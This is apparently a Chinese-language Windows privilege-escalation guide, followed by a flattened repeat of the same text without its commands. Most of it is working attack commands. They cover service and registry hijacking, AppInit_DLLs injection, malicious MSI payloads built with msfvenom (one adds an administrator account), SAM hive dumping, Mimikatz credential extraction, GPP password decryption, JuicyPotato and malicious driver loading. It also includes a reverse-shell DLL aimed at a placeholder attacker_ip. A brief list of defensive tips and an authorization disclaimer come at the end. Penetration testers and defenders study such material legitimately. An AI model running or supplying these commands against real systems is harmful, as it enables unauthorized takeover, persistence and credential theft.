深入解析:Windows 提权技术全攻略
字数 2159 2025-08-19 12:41:34

Windows 提权技术全面指南

1. 信息收集基础命令

在进行提权操作前,必须充分收集系统信息。以下是最关键的系统信息收集命令:

系统信息命令

  • systeminfo - 打印详细的系统配置信息
  • whoami - 显示当前用户身份
  • whoami /priv - 列出当前账户的所有权限
  • hostname - 获取主机名

网络配置命令

  • ipconfig /all - 显示完整网络配置
  • ipconfig /displaydns - 查看DNS缓存
  • route print - 显示路由表
  • arp -a - 显示ARP缓存表
  • netstat -ano - 显示所有活动连接和监听端口

用户和组信息

  • net user - 列出所有用户账户
  • net localgroup - 列出所有本地组
  • net user [username] - 查看特定用户详细信息

服务和进程

  • tasklist /svc - 列出所有运行中的进程及其服务
  • net start - 列出所有启动的服务
  • sc query - 列出所有服务状态
  • sc qc [ServiceName] - 查看特定服务的配置

文件和权限

  • dir /s [filename] - 在目录中搜索指定文件
  • icacls "C:\Path" - 查看目录/文件的权限设置
  • type [file.txt] - 查看文件内容

补丁和更新

  • wmic qfe get Caption,Description,HotFixID,InstalledOn - 列出已安装的补丁

2. 本地权限提升漏洞利用

利用Windows内核漏洞是最直接的提权方式:

漏洞资源

  • GitHub上的Windows内核漏洞利用项目
  • Exploit-DB中的本地提权漏洞
  • Pentest Lab提供的Windows内核漏洞利用

利用步骤

  1. 使用systeminfowmic qfe确定系统补丁级别
  2. 根据补丁情况匹配已知漏洞
  3. 下载并编译/运行对应的漏洞利用程序
  4. 获取SYSTEM或管理员权限

注意:内核漏洞利用可能导致系统不稳定,建议在测试环境中操作。

3. 服务配置错误利用

服务配置错误是常见的提权途径:

3.1 不带引号的服务路径

当服务路径未用引号包裹时,Windows会按空格分割执行:

C:\Program Files\Vulnerable Service\Sub Directory\service.exe
→ 可能执行C:\Program.exe

检测命令:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

3.2 不安全的服务权限

使用accesschk.exe检查服务权限:

accesschk.exe -uwcqv "user" *
sc qc "VulnerableService"

若可修改,则:

sc config "Vulnerable" binpath="C:\malicious.exe"
sc stop "Vulnerable"
sc start "Vulnerable"

3.3 可执行文件替换

检查可写服务目录:

icacls "C:\Program Files\VulnerableService"

若可写,替换服务二进制文件。

3.4 注册表中的ImagePath

修改服务注册表项:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_SZ /d "C:\malicious.exe" /f

3.5 服务恢复选项

配置服务失败时执行恶意程序:

sc failure "VulnerableService" actions= restart/60000/run/60000
sc config "VulnerableService" binpath= "C:\malicious.exe"

4. Windows注册表漏洞利用

注册表是提权的重要目标:

4.1 自启动项

添加恶意程序到启动项:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\malicious.exe" /f

4.3 AlwaysInstallElevated

检查MSI安装提权设置:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若启用(值为1),则可:

msiexec /i malicious.msi

4.4 注册表键权限

检查可写注册表键:

icacls "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService"

若可写,可修改服务配置。

4.8 AppInit_DLLs注入

DLL注入所有进程:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\malicious.dll" /f

5. 不安全的文件系统权限

文件系统权限错误常被利用:

5.1 可写的系统目录

检查系统目录权限:

icacls "C:\Windows\System32"

若可写,放置恶意DLL或EXE。

5.3 可写的计划任务

创建恶意计划任务:

schtasks /create /tn "MaliciousTask" /tr "C:\malicious.exe" /sc daily /st 12:00

5.4 可写的启动项

检查启动目录权限:

icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

若可写,放置恶意快捷方式或程序。

5.6 系统备份文件

访问SAM文件获取哈希:

reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system

使用工具提取哈希。

6. AlwaysInstallElevated漏洞详解

当AlwaysInstallElevated启用时:

6.2 创建并执行恶意MSI

使用msfvenom创建:

msfvenom -p windows/exec CMD=calc.exe -f msi -o malicious.msi
msiexec /i malicious.msi

6.4 创建管理员用户

msfvenom -p windows/adduser USER=hacker PASS=Password123 -f msi -o adduser.msi
msiexec /i adduser.msi

6.6 运行PowerShell脚本

msfvenom -p windows/powershell_exec -f msi -o ps_script.msi CMD="powershell -ExecutionPolicy Bypass -File C:\malicious.ps1"
msiexec /i ps_script.msi

7. 凭证窃取技术

获取凭证是提权关键:

7.1 使用Mimikatz

privilege::debug
sekurlsa::logonpasswords

7.2 从SAM提取哈希

reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system
samdump2 C:\sam C:\system

7.4 GPP密码

查找并解密:

dir \\<domain>\SYSVOL\<domain>\Policies\ /s /b | findstr cpassword
gpp-decrypt <encrypted_password>

8. 令牌权限利用

滥用令牌权限提权:

8.1 SeDebugPrivilege

privilege::debug
token::elevate

8.2 SeImpersonatePrivilege

使用JuicyPotato:

JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {F2E606B6-2631-43A8-9D99-2D5B86F82DE4}

8.5 SeLoadDriverPrivilege

加载恶意驱动:

sc create MaliciousDriver binPath= "C:\path\to\malicious.sys" type= kernel
sc start MaliciousDriver

9. DLL劫持技术

9.1 利用搜索顺序

放置恶意DLL在程序目录:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll
copy evil.dll "C:\Program Files\VulnerableApp\"

9.4 注册表DLL劫持

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\evil.dll" /f

10. 实用提权工具

自动化工具

  • Metasploit:全面的渗透测试框架
  • Sherlock:检查已知提权漏洞
  • windows-privesc-check:检查权限配置错误
  • Windows-Exploit-Suggester:根据补丁建议漏洞
  • PowerUp:PowerShell自动化提权模块
  • Nishang:PowerShell攻击脚本集合

防御建议

  1. 定期更新系统和应用补丁
  2. 严格控制服务和文件系统权限
  3. 禁用不必要的特权(如AlwaysInstallElevated)
  4. 监控注册表关键项变更
  5. 使用最小权限原则运行服务和应用程序
  6. 定期审计系统配置和权限设置
  7. 启用详细日志记录并监控异常活动

通过全面掌握这些技术,安全人员可以更好地评估系统安全性,而攻击者则能更有效地进行渗透测试。请务必在合法授权范围内使用这些技术。

Windows 提权技术全面指南 1. 信息收集基础命令 在进行提权操作前,必须充分收集系统信息。以下是最关键的系统信息收集命令: 系统信息命令 systeminfo - 打印详细的系统配置信息 whoami - 显示当前用户身份 whoami /priv - 列出当前账户的所有权限 hostname - 获取主机名 网络配置命令 ipconfig /all - 显示完整网络配置 ipconfig /displaydns - 查看DNS缓存 route print - 显示路由表 arp -a - 显示ARP缓存表 netstat -ano - 显示所有活动连接和监听端口 用户和组信息 net user - 列出所有用户账户 net localgroup - 列出所有本地组 net user [username] - 查看特定用户详细信息 服务和进程 tasklist /svc - 列出所有运行中的进程及其服务 net start - 列出所有启动的服务 sc query - 列出所有服务状态 sc qc [ServiceName] - 查看特定服务的配置 文件和权限 dir /s [filename] - 在目录中搜索指定文件 icacls "C:\Path" - 查看目录/文件的权限设置 type [file.txt] - 查看文件内容 补丁和更新 wmic qfe get Caption,Description,HotFixID,InstalledOn - 列出已安装的补丁 2. 本地权限提升漏洞利用 利用Windows内核漏洞是最直接的提权方式: 漏洞资源 GitHub 上的Windows内核漏洞利用项目 Exploit-DB 中的本地提权漏洞 Pentest Lab 提供的Windows内核漏洞利用 利用步骤 使用 systeminfo 或 wmic qfe 确定系统补丁级别 根据补丁情况匹配已知漏洞 下载并编译/运行对应的漏洞利用程序 获取SYSTEM或管理员权限 注意 :内核漏洞利用可能导致系统不稳定,建议在测试环境中操作。 3. 服务配置错误利用 服务配置错误是常见的提权途径: 3.1 不带引号的服务路径 当服务路径未用引号包裹时,Windows会按空格分割执行: 3.2 不安全的服务权限 使用 accesschk.exe 检查服务权限: 若可修改,则: 3.3 可执行文件替换 检查可写服务目录: 若可写,替换服务二进制文件。 3.4 注册表中的ImagePath 修改服务注册表项: 3.5 服务恢复选项 配置服务失败时执行恶意程序: 4. Windows注册表漏洞利用 注册表是提权的重要目标: 4.1 自启动项 添加恶意程序到启动项: 4.3 AlwaysInstallElevated 检查MSI安装提权设置: 若启用(值为1),则可: 4.4 注册表键权限 检查可写注册表键: 若可写,可修改服务配置。 4.8 AppInit_ DLLs注入 DLL注入所有进程: 5. 不安全的文件系统权限 文件系统权限错误常被利用: 5.1 可写的系统目录 检查系统目录权限: 若可写,放置恶意DLL或EXE。 5.3 可写的计划任务 创建恶意计划任务: 5.4 可写的启动项 检查启动目录权限: 若可写,放置恶意快捷方式或程序。 5.6 系统备份文件 访问SAM文件获取哈希: 使用工具提取哈希。 6. AlwaysInstallElevated漏洞详解 当AlwaysInstallElevated启用时: 6.2 创建并执行恶意MSI 使用msfvenom创建: 6.4 创建管理员用户 6.6 运行PowerShell脚本 7. 凭证窃取技术 获取凭证是提权关键: 7.1 使用Mimikatz 7.2 从SAM提取哈希 7.4 GPP密码 查找并解密: 8. 令牌权限利用 滥用令牌权限提权: 8.1 SeDebugPrivilege 8.2 SeImpersonatePrivilege 使用JuicyPotato: 8.5 SeLoadDriverPrivilege 加载恶意驱动: 9. DLL劫持技术 9.1 利用搜索顺序 放置恶意DLL在程序目录: 9.4 注册表DLL劫持 10. 实用提权工具 自动化工具 Metasploit :全面的渗透测试框架 Sherlock :检查已知提权漏洞 windows-privesc-check :检查权限配置错误 Windows-Exploit-Suggester :根据补丁建议漏洞 PowerUp :PowerShell自动化提权模块 Nishang :PowerShell攻击脚本集合 防御建议 定期更新系统和应用补丁 严格控制服务和文件系统权限 禁用不必要的特权(如AlwaysInstallElevated) 监控注册表关键项变更 使用最小权限原则运行服务和应用程序 定期审计系统配置和权限设置 启用详细日志记录并监控异常活动 通过全面掌握这些技术,安全人员可以更好地评估系统安全性,而攻击者则能更有效地进行渗透测试。请务必在合法授权范围内使用这些技术。